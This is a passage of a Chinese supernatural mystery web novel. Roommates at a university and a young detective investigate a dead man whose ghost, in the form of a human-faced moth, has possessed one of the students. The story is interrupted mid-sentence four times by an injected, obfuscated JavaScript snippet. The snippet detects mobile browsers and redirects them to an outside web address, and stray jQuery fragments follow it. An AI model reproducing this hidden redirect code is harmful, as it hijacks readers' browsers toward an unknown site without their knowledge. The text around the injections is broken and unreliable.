曲通幽就这么淡定地带着方君茹来到了楼下。刘志鹏是想要拦她们的,但半路就被女子篮球队的秦琴堵了路,被迫继续和她1v1。
宿舍楼对面是一片树荫,这也是小情侣们每天晚上脉脉离别的鹊桥,但现在是白天,等在这里的人就要少得多了。
她们正在稀稀拉拉几个男生里面试图寻找年长点的警察,忽然就见一个年轻男人朝她们走了过来。
那人身量极高,且非常健壮,纯黑的T恤紧绷着隐约的胸肌轮廓。可能是在九月的太阳下面站久了,浓黑的短发和眉毛微微有些湿润。
他径直朝着方君茹伸出手:“方同志是吗?你好,我是尹修景,你报警的关于丁先生对您实施骚扰的案子现在由我负责。请问你现在有时间吗?我需要询问你一些问题。”
他的手里是一张警察证,只是曲通幽却认出来,这张证件的警号应该是属于一位刑警的。
方君茹报案的只是一件民事纠纷的小事,为什么会是个刑警来找她谈话?
方君茹却没有认出警号的微小差别。她看起来有些紧张,只是尽量维持着淡定说道:“可以。要去派出所吗?”
尹修景微微一笑:“你是报案群众,按说是没必要去局里的。这样,我来的时候看到咱们学校人工湖那边有个凉亭挺清净的,方便的话咱们去那里聊聊可以吗?”
不待方君茹回答,他又说道:“你要是不放心的话,你这位朋友也可以一起去,只要签一份保密协议就可以。”
曲通幽:……
她不想掺和这明显是藏着秘密的事啊!
然而方君茹充满希冀的目光投过来,再加上尹修景那让人信任的身份和身板,她考虑了一下,还是硬着头皮答应下来。
人工湖旁边的凉亭是造景的一部分,坐落在开阔的水面上,距离来往的师生很远,可却能从四面八方都看到这边的动静,是个很安全又很私密的谈话空间。
看得出来,尹修景虽然看起来是个肌肉猛男,可内心确实体贴又细心的,特意挑选了这么个地方让她们安心说话。
“可以告诉我你是什么时候通过什么方式到丁家做家教的,这之后又发生了什么事情吗?”
尹修景拿出了录音笔放到一边,同时用笔在笔记本上写下了问题,这让他看起来不像是警察,倒像是个记者。
“嗯,我平时经常做兼职,加了个兼职群。11天前,一个隔壁B大的叫李嗣龙的学长给我介绍了这份家教兼职。时薪很高。所以我马上就答应了。”
“你当时对于这个收入没有怀疑吗?”
“有的,我还问了他为什么时薪这么高。李嗣龙说,因为那家需要我辅导一个初二的男生,成绩和性格都不太好,我就没问了。”
“丁豪同学的成绩确实不太好。”
“不只是成绩,性格也和学长说的一样。小小年纪就满口脏话,当着我的面用手机看黄片,有时候还摔砸东西。我为了赚钱也都忍了,想着做完这个月就不做了。后来……”
他们这么一问一答,倒显得曲通幽像是个隐形人一样。她甚至有种自己还在那个梦里听对面的李凤娥絮絮叨叨的错觉。但方君茹并不是李凤娥,讲的事情在她听来也都很平常没有认花儿一样。
可尹修景却一直听得很认真,时不时还在曲通幽觉得没什么的地方皱一下眉,然后低头速记两笔。后来可能是太全神贯注了,一只手还习惯性从口袋里摸出一根烟,叼在了嘴上。
曲通幽讨厌烟味,便默不作声往旁边靠了下身子,尽量远离了尹修景。
她以为自己在两人眼中已经不存在了,可没想到,她刚一动作,尹修景的眼神就扫了过来。
“别担心,这不是烟,是薄荷糖。”他扬了扬手中夹着的烟。让她们看清楚这确实是做成了香烟造型的糖棍。
曲通幽:???
这人吃糖就吃糖,为什么还非要做成抽烟的样子?大男子形象包袱这么重的吗?
“我以前是抽烟的,不过局里新来的一把手讨厌烟味,所以正好就趁这个机会戒了。”尹修景像是看穿了她的想法一样笑着解释,“不过我自制力不够,有点困难,就定了一批这种形状的薄荷糖,提神醒脑还能骗骗自己嘴巴。”
他的语气亲切随和,就好像跟老友聊天一样,让方君茹紧绷的情绪不知不觉松懈了下来,继续说起这几天的事的时候,也想起了更多细节。
“所以,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313056|167296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你是因为丁健先生对你实施了骚扰行为,才决定终止这份工作吗?”
方君茹点了点头:“这个是主要原因,不过还有就是,我最近身体不是太好。可能是要经常应付那个熊孩子的原因,一生气就觉得头晕目眩,还有点神经衰弱。我是缺钱,但钱还是没有命重要。”
曲通幽诧异地看了方君茹一眼,开始怀疑是不是真的因为神经衰弱她才被化阴虫缠上的。
尹修景合上了笔记本:“我明白了。最后我还有点小事,想跟你确认一下。你确定丁健先生对你实施性骚扰的时间是9月17日17点50分左右吗?”
“确定!”方君茹很肯定地说,“那天我从他家跑出来,在等公交车的时候正好听到楼道里有人家里在播放新闻,频道主持人报时说现在是晚上六点。所以时间肯定不会超过十分钟。”
尹修景脸上笑容忽然一收,表情变得无比严肃:“可是你知道吗?我们查到的确切消息,早在9月6日的时候,丁健先生已经在国外出差的时候意外身亡了。请问他要怎么在自己已经亡故的情况下对你进行骚扰?”
两个女生都愣愣盯着他,仿佛没听懂他刚才说了什么。
“什——什么?怎么可能?!我14号的时候在他家做家教,亲眼看到他出差回来的!那天吴姐还说他们夫妻要团聚一下,特意给我放了个假,让我回来休息的!对了,那天我中午就回来了,幽幽你还记得吧?!”
方君茹求助地看向曲通幽,看她的眼神,似乎也在怀疑自己是不是精神出了问题。
曲通幽缓慢点头:“是的,你中午就回来了。”
尹修景目光犀利,如同扫描仪一样认真分辨者方君茹和曲通幽脸上每一丝表情变化。他似乎发现了什么有意思的东西,意味不明地挑了挑眉。
“我们询问了对你发出律师函的吴敏怡女士,据她说,自己的丈夫突然死在了国外,这些天她都无心关心家里的事情,那天她是看你身体不太舒服,才让你提前回去的。曲小姐,请问是这样吧?”
曲通幽目光转向年轻俊朗的警察,同样缓慢点头:“是的,9月14日,方君茹确实是说自己有点发烧,中午就睡了。”
而且,那也是她第一天在宿舍里看到那只藏在方君茹床帘后的偷窥的眼睛。
那真的是方君茹吗?还是……因为已死的丁健突然回家而被她带回来的鬼魂?
“怎么可能……怎么可能呢?他死了?那我看到的那个人是谁?他——我确定,当时我回宿舍以后,胳膊上还有他抓我的痕迹,可是他死了——”方君茹神经质地反复念叨着,看得出来,她现在也有些混乱了。
她目前的状况已经不适合问话了。尹修景察言观色,及时中止了询问。
“丁健的尸体正在被法医尸检,身份已经确定。所以,我很想知道方女士和吴女士到底谁在说谎。”他深深看了二人一眼,用笔在本子上写下了两个同样的号码。
“这是我的电话,如果两位想到了什么线索,随时都可以和我联系。”他盯着两人说道,“明白吗?这不是一起普通的劳动纠纷案件。”
13. 013
尹修景离开了,临走之前,还跟普通人散烟一样给两人一人发了一根薄荷糖。他笑容爽朗举止体贴,又变成了那个初见时就感觉很阳光可靠的青年。但现在无论是曲通幽还是秦琴都没心思再关注他的去向和目的了。
“那个人6号就死了?那我那天看到的是什么?我还打了他……对了,我那天发烧了,是不是我烧到出现幻觉了?”
方君茹还有些魂不守舍的,也不知道是在跟曲通幽求证,还是在自言自语。
“先不用纠结这个。”曲通幽沉吟道,“你没发现吗?那个尹警官是半路接手你这个案子的。”
方君茹茫然地看着她。
“意思是,他本来是办命案的刑警。按道理是不该管你这种小事的,但是他却专门跑了一趟学校,找我们两个学生问话。你没发现这背后大有深意吗?”曲通幽恨铁不成钢地说。
“难道不是因为我和那个据说已经死了的丁健打过交道吗?”方君茹迟疑着问道。
“主要原因当然是这个。但你别忘了,那个尹修景是个刑警,他们办案是有严格的保密纪律的。正常情况下,怎么可能让我一个和本案毫无关系的人在询问证人的时候陪同在旁边?”曲通幽严肃地说,“这只能说明,他觉得我也和这个案子有关。”
“……可是你都没见过那个人,能跟他的案子有什么关系?”
“这就是最奇怪的地方。我猜,这位尹警官查案可能遇到了瓶颈期,他在寻找新的突破点,你,以及和你接触过的人就是他选定的突破方向……”
两人边走边聊,不知不觉已经进了宿舍楼。这会儿已经是中午一点半了,还在宿舍里的人大部分都在午睡。曲通幽和方君茹不约而同放低了声音,一前一后沿着楼梯往上走。
曲通幽在前,方君茹在后。当走上三层楼梯平台的时候,曲通幽无意间朝平台挂着的镜子里扫了一眼。
她的身影从下面最先出现在镜子里,紧接着就是落后几步的方君茹。自己的倒影没什么异样,但是,方君茹的倒影背上,正有一个巨大的人面蛾子趴在上面!
中午阳光很好,楼梯间的空气中浮起的尘埃都被太阳镀上了一层金色。但沐浴在这样的温暖中,曲通幽却遍体生寒!
“怎么了,幽幽,怎么不走了?”
方君茹疑惑地问道,还顺着她的目光歪着头往镜子里看了看,但她显然并没有发现什么异样,于是看着她的目光更加疑惑。
只有自己能看见那东西!
镜子里,方君茹背后的人面飞蛾足有一米二高,六只表面长满绒毛的昆虫节肢从背后牢牢抱着她。女生纤瘦的身体整个都在那恐怖怪物的掌控中。
那巨大的飞蛾脖子上,长着一个男人的脑袋。只是相比曲通幽在梦里看到的女人尸体中爬出的飞蛾,这男人的表情却更加生动。就好像他还活着一样,因为肥胖有些浮肿的五官充满了恶意。
他的头像是被什么重物砸过,头盖骨破碎,露出里面糊成一团的脑花。但他却依然凭借寄生在飞蛾身上活着,六肢贪婪的死死抓着方君茹,一双小眼睛透过镜子恶狠狠瞪着曲通幽。
“幽幽,到底怎么了啊?”方君茹还在问,她的嘴一张一合,镜子里她的脸旁边那张男人的脸上嘴也在一张一合。
到底是方君茹在发问,还是趴在她身上的那只飞蛾在假装发问?
曲通幽后背已经满是冷汗,她的大脑却在快速思考。
不能让这东西发现自己能看到它。
虽然它看起来只能存在于镜子中,最多不过这几天操控着方君茹偷偷看她们。但这是在现实中,她只是一个丝毫没有应对灵异鬼怪经验的普通人,对于将要发生的任何意外都没有应对的能力。
只是,虽然她决定做得很快,那东西却没给她反应的时间。
就在她和镜子里男人目光对上的一刹那,他突然就笑了起来。那嘴角越扯越大,就像是拉锁一样扯到了耳根,露出了两排宛如锁齿的利齿。
“你看到我了。”那东西说道。
“你看到我了。”方君茹也说道。
女生歪着头看她,不知什么时候,她的眼膜上已经笼上了一层白翳,就像是带了一副能覆盖整颗眼球的隐形眼镜一样。
白翳上有一个人影闪烁着,那是个肥胖的男人,头上一个露着脑子的血洞,正带着满脸的恶意看着她。他抬起手,似乎是做了个什么手势。方君茹就毫无预兆地猛扑过来。
咚!
曲通幽的后脑勺重重撞在地上,疼得她刚抽了一口气,又在半途中哽住。因为一双冰凉的手正死死扼着她的脖子,不过几秒钟,曲通幽的脸就从通红变得涨紫。
方君茹的身形瘦弱,按道理是怎么都打不过她的。然而此刻她的力气却大得不可思议,任由曲通幽如何挣扎捶打都没有松开半分。
最诡异的是,明明就是在大中午的宿舍楼梯间里,这么大的动静却没有引来任何人。就好像是这个小空间已经从世界上被隔离了出来一样。
不能再这样下去了。
没有任何人能在这时候救她,她必须想办法自救。
曲通幽艰难抬起手,拽出自己脖子上的红绳。那是她从庙里求来的平安符。虽然平时都没见有什么神奇之处,但现在鬼都出来了,说不定这东西也有用?
然而事实让她失望了。平安符按在方君茹脸上,效果甚至不如她的一巴掌。她吸入肺中的空气仍然越来越少,眼前一阵阵发黑,意识也逐渐模糊起来。
恍惚中,曲通幽好像又回到了那个梦中。跟着梦里的师寂明来到了黄雅兰的洋房,在那里第一次看到了化阴虫。
化阴虫是从佛像中被逼出来的。
逼它出来的东西,是刀子剜出来的骸骨,还有……符箓。
一根文明杖突然出现在她的脑海中。从握手到杖身都刻满了玄奥莫测的古怪字符
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313057|167296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
一只苍白瘦削的手握住了它,虎口处一点殷红的小痣。那只手握得很用力,手背上骨印突出,咚的一声,杖头点在了佛像上,其中的一部分符号亮起了鲜亮的红色。
可不对,这不是她需要的。
这是镇压佛像里的阴气的符箓,可她需要的是……是火。
化阴虫惧怕火焰,但必须是特殊的符火。就像是最后师寂明找到双凤山,蹲守着吕一钧的身体那样,飞出一只蛾子烧一只,才能解决这东西。
但是,怎么能得到符火?
手杖上的字符一个个从杖身上脱落下来,在空中旋转。最开始的时候,只有师寂明点亮的那几个是鲜红色。可随着字符的飞转,另外一部分字符也亮了起来。
它们像是被某种力量牵引着一样,几个字符被筛选了出来,一个个排在她面前。在窒息的极端环境中,曲通幽已经什么都感知不到了。她只是无意识地张开了口,用最后的力气吐出了几个字。
“啊啊啊——”
伴着一阵惨叫,脖子上的桎梏突然松开了。曲通幽大口大口呼吸着,透过生理性的泪水,她看到方君茹在地上拼命打着滚。她的身上燃烧着熊熊火焰,可奇异的是却没有伤到她半点。反而是在镜子里能看到,方君茹身上扒着的那只人面飞蛾已经松开了。它正以一种绝对不科学的速度飞快燃烧着,不到十秒钟,就再也看不到任何它存在过的痕迹。
“……幽幽?”
方君茹迷茫地睁开眼睛:“不好意思,我刚才不知道怎么回事特别困……好像还做了个噩梦,你……啊!你脖子上怎么回事?!到底怎么了?!”
她惊恐地盯着曲通幽脖子上淤紫的掐痕,同时尖叫声也引来了更多的脚步声。曲通幽听见走廊里杂乱的声音,知道是那东西消失也带走了楼梯间的封闭。她不想给来人解释连自己都不太清楚的事情经过,于是强忍着脖子上的胀痛,一把拉住方君茹,飞快往宿舍跑去。
“怎么回事?我刚才好像听到有人尖叫?”
“我也听到了……诶?怎么没人啊?”
“搞什么啊大中午的。诶?这镜子怎么黑乎乎的啊?谁在宿舍楼里点火?不要命啦?!!”
砰地一声,宿舍门被甩上,把那些声音全部关在外面。方君茹也终于从惊慌中稍微镇定下来。她看了看曲通幽脖子上的手印,又看了看自己的手,仿佛是意识到了什么,目光一点点黯淡下去。
“是我做的,对不对?”方君茹轻声问道。
“不是,其实刚才……”
“你不用安慰我,其实我最近也不是什么都没感觉到的。”方君茹打断了曲通幽的吞吞吐吐,“我总是在做梦……不,有的时候我不确定是不是在做梦。梦到你们都在看着我。那种目光让人很害怕。但是等我清醒过来之后,又发现其实都是我在疑神疑鬼……现在看来,那些应该不是梦吧?我是不是已经伤害到你们很多次了?”
14. 014
方君茹说着说着眼圈就红了起来。
她知道自己的舍友都是很好很好的人。早在大一晚上聊天的时候,她就把自己的家庭情况毫无保留地说了出来。她很小就清楚人与人的相处很多时候都是利益的交换,而自己并不是一个有交换价值的人。早点说出来免得需要筛选“朋友”的人在她身上浪费时间。
但她的舍友却没有一个因此而疏远她。她们义愤填膺真情实感和她一起骂垃圾家人,不仅如此,在之后的几年里她们还一直假装无意地照顾她生活。像是去食堂吃饭假装是给自己带夜宵回来却说要减肥把饭给她吃,像是用自己的人脉给她介绍兼职或者实习,更别提每次自己生日的时候收到的礼物……
方君茹无法形容这些年自己的感动,她只是把这一件件事都暗自记在心里,决心等到自己有了能力一定要加倍报答。
可是现在呢?别说报答了,她甚至还做出了伤害室友这种事情……
方君茹咬了咬牙,终于下定决心。
“我现在就去联系上次那个心理医生。”她说着就拿出手机,“我现在这种情况,再通过心理疏导已经不合适了。都开始伤害身边的人了,还是先找个精神病院住着再说吧。”
“喂等等啊!”曲通幽瞪大眼睛,一把抓住舍友的手,“你先别急!不是你想的那样,你听我解释啊!”
她的喉咙还哑着,说话不方便,正好有时间让她慢慢思考要怎么开口。
她想了想,没提自己那个明显太荒诞的梦,还是先把刚才楼梯间里的事情说了一遍。说完,又总结道:“刚才在楼道里,我看到你的眼睛上蒙着一层白翳,那上面有一个被砸破了头的胖男人,看着极其嚣张。我猜,那时候,还有你这几天说的梦并不是真的梦,而是遇到了鬼遮眼,看到的都是他制造的幻觉。”
听完这话,方君茹的脸色又白了几分,咬牙道:“你形容的这个男人,不出意外,就是我在丁家见到的那个丁健!就是他对我动手动脚被我扇了两巴掌的!”
“可是他脑花都露出来了,尹警官也说他死了。看来是变成了鬼缠上了你。”
“可我之前根本不认识他,为什么会是我?”方君茹百思不得其解。
曲通幽目光复杂地看了她一眼。
也许不仅是你,而是你刚好是第一个。
梦里的吕大帅为了复活,可是已经找了四个保姆喂给化阴虫。虽然不知道现实中这个丁健知不知道化阴虫的具体作用,但如果任由这事发展下去,被吞掉灵魂而死的人肯定不止是方君茹。
不过,丁健才刚死没多久,方君茹现在也只是身体稍微有点不太对,一切应该还来得及。
只是,要彻底解决这个问题,还是要找到化阴虫的诞生处。比如梦里的那个佛像,再比如吕大帅的尸体那种地方……
曲通幽一思考就陷入了沉默。方君茹也不敢打断她。就在宿舍里的气氛越来越凝重的时候,外面突然传来了钥匙转动的声音。
“秦琴,你回来啦!”方君茹惊喜地喊道。
她愧疚地看着这个也被自己吓过的舍友,正想说什么,却见秦琴手里抱着个铁皮箱子,表情是说不出的纠结。
“嗯。回来了。欸?幽幽你在啊?我跟你说,我把张志鹏打发走以后就赶紧去找了我那个……哎??你脖子怎么了?!”
秦琴风风火火冲进来,不过等看到曲通幽青紫的脖子的时候注意力就全部转移了。围着她大惊小怪地咋呼着。曲通幽赶快转移话题:“我没事……你怎么带着这个箱子出去了?不怕危险吗?”
她认出这就是昨天她们用来装那个从火里孵化的飞蛾的箱子,当时秦琴怕得跟什么似的,现在怎么就敢抱着了?
“哦对了!我之前不是说可以找生物系的老师帮忙看看这是什么吗?我给他发了照片,他没见过这种蛾子,很感兴趣,但他又怀疑照片是AI合成的。于是我干脆就带着蛾子去找他了。结果等我到了他那……”
她连珠炮一样说了一大串,说到这里却突然卡住了。在另外两人催促的眼神中,秦琴咽了口唾沫,艰涩地说道:“飞蛾消失了。”
“它逃出去了?”
“不是逃出去了,就是消失了!你知道吧?玻璃瓶和铁皮箱子都没问题,但是飞蛾不见了!”秦琴激动地挥舞着胳膊说道。为了验证自己的话,她还当着两人的面打开了箱子。
开了锁,开了盖子,露出一览无余的玻璃瓶。箱子内部和瓶子表面都非常完整看不到任何损伤痕迹,可昨天她们一起关进去的飞蛾却消失得无影无踪。
“老师觉得我是在用AI图骗他。我也怀疑那天是不是我的幻觉了。不然的话,怎么会有被火一烧就直接完成超进化的虫子?”秦琴一脸自我怀疑。
曲通幽盯着空荡荡的瓶子,也觉得自己脑子可能是出了点问题。因为哪怕是在梦里,那种飞蛾也只是会吃人,没听说过有突然消失的能力啊!
“等等,这里面是不是还有东西?”曲通幽从玻璃瓶内壁上发现了一些深色的东西,看上去有点像是干巴巴的泥土。
秦琴的眼神却更加恐怖了。她的声音变得很轻,也更加阴森森的:“那个我也发现了。刚到老师的实验室的时候我就看到里面有这种东西,比现在要多一点。我怀疑那是飞蛾留下的遗留物。正好老师那里有设备,就把它取出来检测了一下,结果……那不是飞蛾,是……是人体的残留物……”
宿舍里突然掠过一阵可怕的寂静。
“什么……什么残留物?”
“是……皮肤,指甲,血液……当时我吓得脑子都嗡嗡的。要不是我反应快,赶快给他说我是开玩笑的,之前我的手被
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313058|167296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
切掉一点,碎肉扔进这个瓶子里了,恐怕我就不是被他当成变态学生赶出去,而是直接报警了!见鬼的,那东西到底是什么?!”秦琴一脸怀疑人生。
“你有没有检验过那是谁的人体碎片?”曲通幽问。
“当然没有啊!”秦琴惊悚地看着她,用目光表达了她这个问题是多么匪夷所思。
曲通幽没法给她解释自己的这个猜想从何而来,但她心里已经基本确定,那多半应该是方君茹身上的一部分。
梦里她对化阴虫的了解并不算多,只知道这东西能寄生在人体内,吞噬人的灵魂后破体而出,变成蛾子飞走。但是,这个吞食的过程其实是宿主被另外一个人取代的过程,这种情况下,有没有可能宿主的身体已经被虫子吃掉了呢?
这个猜测让她意识到,方君茹的身体已经没有时间让她慢慢想办法了。
我需要能杀死化阴虫的符箓……能不伤害人体杀死虫子的办法……
曲通幽聚精会神想着自己最迫切的愿望。
但是,刚才楼梯间里曾经出现在脑海里的那只手杖并没有再次出现。更别提从中筛选出能冒火杀死飞蛾的字符了。
难道非要生死一刻的时候这种力量才能激活?曲通幽有些失望。
她问了奇怪的问题就闭目养神,嘴里还念念有词着谁都听不清的话。让旁边的两个女生都看的有些心里发毛。
“君茹,你们刚才发生什么事了啊?幽幽的脖子……”秦琴想起来自己刚被打断的问题。
“君茹,你现在给那个警察打电话!”曲通幽突然开口,坚定地说道。
“可我们才刚分开就找他……”方君茹吃了一惊,有些犹豫着拿出手机,却没拨号。
“就是要刚分开再去找他才有说服力!他现在应该还没回局里,你就直接问他,那个丁健,是不是在国外被人砸破了头死的?”
“啊?你是说……”
“对,我怀疑刚才我们看到的那个人面飞蛾,就是丁健死了之后缠上你的鬼魂!”
曲通幽能理解方君茹的犹豫——尹修景毕竟是警察,人家是靠事实说话的办案人员,虽然她们确实遇到了匪夷所思的鬼事,但把这种事情告诉一个警察,对方多半是不相信的。
但曲通幽却敏锐地发现了尹修景的异常——如果真的是完全按照事实逻辑办案,尹修景根本就不会找到她这么个表面与此案毫无关系的学生。能把她也牵扯进来,说明这案子一定出现了什么无法用科学解释的地方,而且,在自己之前一定已经有了类似的先例!
虽然不能确定其他人也碰上了丁健的飞蛾,但她们能在这么短的时间准确说出丁健的死状,一定能让尹修景对她们更加重视,从而透露出关于丁健得更多线索。
到时候,也许她就能找到化阴虫的真正来源了!
15. 015
尹修景正在开车回局里的路上。
和之前曲通幽她们见到的那个亲切阳光的警察相比,此刻的男人却像是换了个人一样。他脸上的笑容消失得干干净净,嘴唇抿直,一双浓黑的眉压得低低的,目光专注地望着前方,好像在认真思考着什么。
他是半个月前接手这桩案子的,准确地说,并非是丁健这一件死亡案件,他只是一连串“意外死亡”中的一个而已。
到目前为止,已经出现了四个受害者,每一个的死亡方式都是意外,燃气火灾、车祸、高空坠物,还有丁健的坠崖。
最开始的时候,谁都没把这四桩意外联系到一起。一直到第二桩命案死者家属强烈要求验尸,法医才从尸体中发现了异样。
死者的肺部有一个形状清晰的圆形空腔,甚至能看到分布规则的棘突状痕迹。就好像这里曾经有一个蜂巢一样,在死者死后被人毫无痕迹地取了出来。而据家人反应,死者生前身体并没有出现任何异样。
他们广泛调取意外死亡的卷宗,最后才排查出这么四个受害者。除了同样死于意外肺部有空腔之外,这四个人还都很有钱,平时有些迷信,并且在最近事业上遭遇了致命危机,还都去过南兰国。
最开始他们怀疑,是有一个跨国犯罪组织盯上了国内的迷信富豪,通过某种未知病毒对他们实施针对性诈骗犯罪。可是就在一周前,最开始向他们报案的第二个死者的家属突然死亡,他们前去勘探的时候那个死亡现场简直……
回想到那令人胆寒的一幕,尹修景忍不住蹙了蹙眉。他用力咬碎了嘴里的一截薄荷糖,浓烈的清凉刺激让他的大脑稍微清醒了些。
大学城附近无论是什么时候总是在堵车,尹修景过了好久才总算是开到开阔的路面上,正当他加速准备赶快回去的时候,手机却突然响了起来。
尹修景瞥了一眼屏幕,是个陌生号码。他把蓝牙耳机扣到耳廓上,随手接起来:“喂?”
“请问是尹警官吗?你好,我是方君茹,我们刚才刚见过面。”
“其实我刚才撒谎了,并不是有意的。只是我遇到的事实在太离奇,所以没敢告诉你。其实我梦到了那个丁健的鬼魂,他的头被人砸破了,脑子都露在外面。在梦里疯狂叫嚣着要找我索命。”
听着耳边有些陌生的年轻女声,尹修景的呼吸渐渐急促起来,他在空旷处猛地一踩刹车,方向盘急转就是一个掉头,加速朝自己刚离开的A大飞驰而去。
刚才女生说过的每一句话仿佛都还回荡在耳边,化作了一张张血淋淋的证据图,把很多只存在于他心中的疑点串在了一起。
她不该见过丁健的尸体,但她描述的那个鬼的样子和丁健的死状一模一样。
她说梦里的丁健向她索命,那些死者死后,他们周围确实也出现了一些失踪或死亡情况。
还有她说……自己的身上好像感染了一种皮肤病,有的地方有点脱皮。
第一个受害者家属的死亡,其实一开始是被当成失踪案处理的。
只是后来他们在对受害者的住处进行详细勘探的时候,才发现了这个有点过于脏乱的家里一些不同寻常的“灰尘”。
他们收集了一些灰尘,经法医检验之后,发现那居然都是还残留着细胞活性的人体组织碎片,只是形态不知为何变成了极其不科学的灰尘碎片而已。
也就是说,至少在他们到来搜查半天前,这一堆组织还是属于一个活人的,而现在,那个人已经彻底消失在世界上,留下来的只有这一堆凑不完整的“灰尘”!
这个结果在队内部引起了极大的恐慌和震撼。他们队里都是经验丰富的老刑警了,可却没有一个人见过这种匪夷所思的手段。最后只能归结为新的致命性病毒,最近已经打算移交给卫生部门了。
可能只有经历过一些科学无法解释事情的尹修景和他们新来的队长还在试图开拓新的思路。比如,去寻找类似那个家属受害者类似的人。
他没想到,只是一开始试探性找一个学生聊聊天,就能掌握这种关键性的证据。
梦到恶鬼,开始脱皮……有没有可能,那个最后变成了灰尘的受害者家属最初的状况就是这样的?
车子一路风驰电掣开回到宿舍楼下,尹修景远远就看见了等在那里的三个女生。
……三个?
心中疑窦顿生,尹修景下了车,却没有立刻过去,而是眯着眼睛站在原地打量着那边的三个人。
主动联系他的方君茹,此刻却隔着一段距离站在两个女生后面,看上去三人的关系有些生疏。站在中间的是那个方君茹的室友曲通幽,除此之外,还多出了一个陌生的女生。短发,高个儿,手里抱着个铁皮箱子,表情看上去颇为不安。
三个人中,看起来最镇定的就是曲通幽,主导把他叫回来的应该也是她。
这些思绪在他脑中闪现时间不过两秒,很快尹修景就挂上了习惯性的微笑走过去。主动伸出手:“方同学你好,我是为你电话中说的事情来的,你看我们要不要还去刚才的地方谈一谈?”
“不用了,那里不安全。”如他所料,三人中的曲通幽上前一步,她身边是那个抱着铁箱子的女生,严肃道:“我们有重要线索提供,可以去你们办案的地方吗?”
湖上的凉亭给人感觉太阴冷了,现在只有正道光芒照大地的警察局才能给曲通幽带来安全感了。
可能是因为在梦里看到了更惊悚的东西,曲通幽坐在警局里比另外两个舍友淡定得多。她把秦琴一路护着的铁箱子当着几个警察的面咚一声放在桌上,郑重道:“警察叔叔,这就是我们说的重要线索。”
尹修景:“……我才25岁,不用……”
不过他短暂的无语很快就被曲通幽接下来的话冲散了。她指着铁皮箱子里的玻璃瓶子里的一堆灰色物质说道:“我知道你们可能不信,但这些东西,是我这位室友身上的一部分。”
她指了指方君茹,女生的脸色煞白,却也坚定地点了点头验证她的说法。
其实她和秦琴都还没太搞清楚发生了什么。但是幽幽表现得一直很有把握也
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313059|167296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
最镇定,加上之前在楼梯间里是她救了她,所以两个人都一致决定无条件配合曲通幽的一切表演。
她们以为曲通幽这一听就像是来捣乱的说辞会让尹修景露出不悦之色,可没想到,对面的三个警察表情都极其认真。曲通幽只好按照计划,把自己事先编好的说辞都说了一遍。
她没有隐瞒飞蛾和方君茹身上的异常,可半个字都没提自己的噩梦和特殊能力。只说是在楼梯间扭打的时候方君茹碰到了她身上的平安符,附身在她身上的恶鬼才被消灭了。
三个警察传看了她拿出来的平安符,又仔细询问了一些关于飞蛾的细节,最后便把那个玻璃瓶当做证据收了上去。
“警察叔叔,我们真没说谎。这事虽然听着荒谬,可都是我们的亲身经历。不信你们可以去查,幽幽她家旁边那个庙很灵验的,好多人都……”第一次来这种地方的秦琴完全没有意识到多说多错,还在极力描补着细节。
“我们会认真调查的。”尹修景说,“你们也不用惊慌,其实警方在应对这种情况上已经有了一些经验。接下来的事就交给我们吧。”
“你是说,在我们之前,有人遇到过同样的鬼吗?”曲通幽敏感地追问着。
尹修景没有立刻回答。他看向旁边年长些的警察,在对方点了点头之后才重新看向曲通幽,神色变得有些晦暗。
“我们没办法确定。事实上,你们是第一批明确告诉我们自己遇到了什么的人。”
他说的是“明确告诉”。
也就是说,在她们之前,确实是有人遇到了怪事的。只是那些人要不就是隐瞒着没有说出来,要不就是……已经死了,多半还是从尸体上检查出的线索。
想到梦里见到的那一个个死去的人,曲通幽心中不由得沉了沉。
那是个有鬼和道士的世界,这种事情尚且到了连死好多个才能解决。在科学至上的现实世界,又要死多少人才能找到解决办法?
曲通幽很快推翻了心里原有的计划,她调整了一下表情,犹豫着开口:“警察同志,我有个推测,不知道对不对。”
可能是因为没被叫叔叔心情好了点,尹修景的脸色都更放松了些:“你尽管说。”
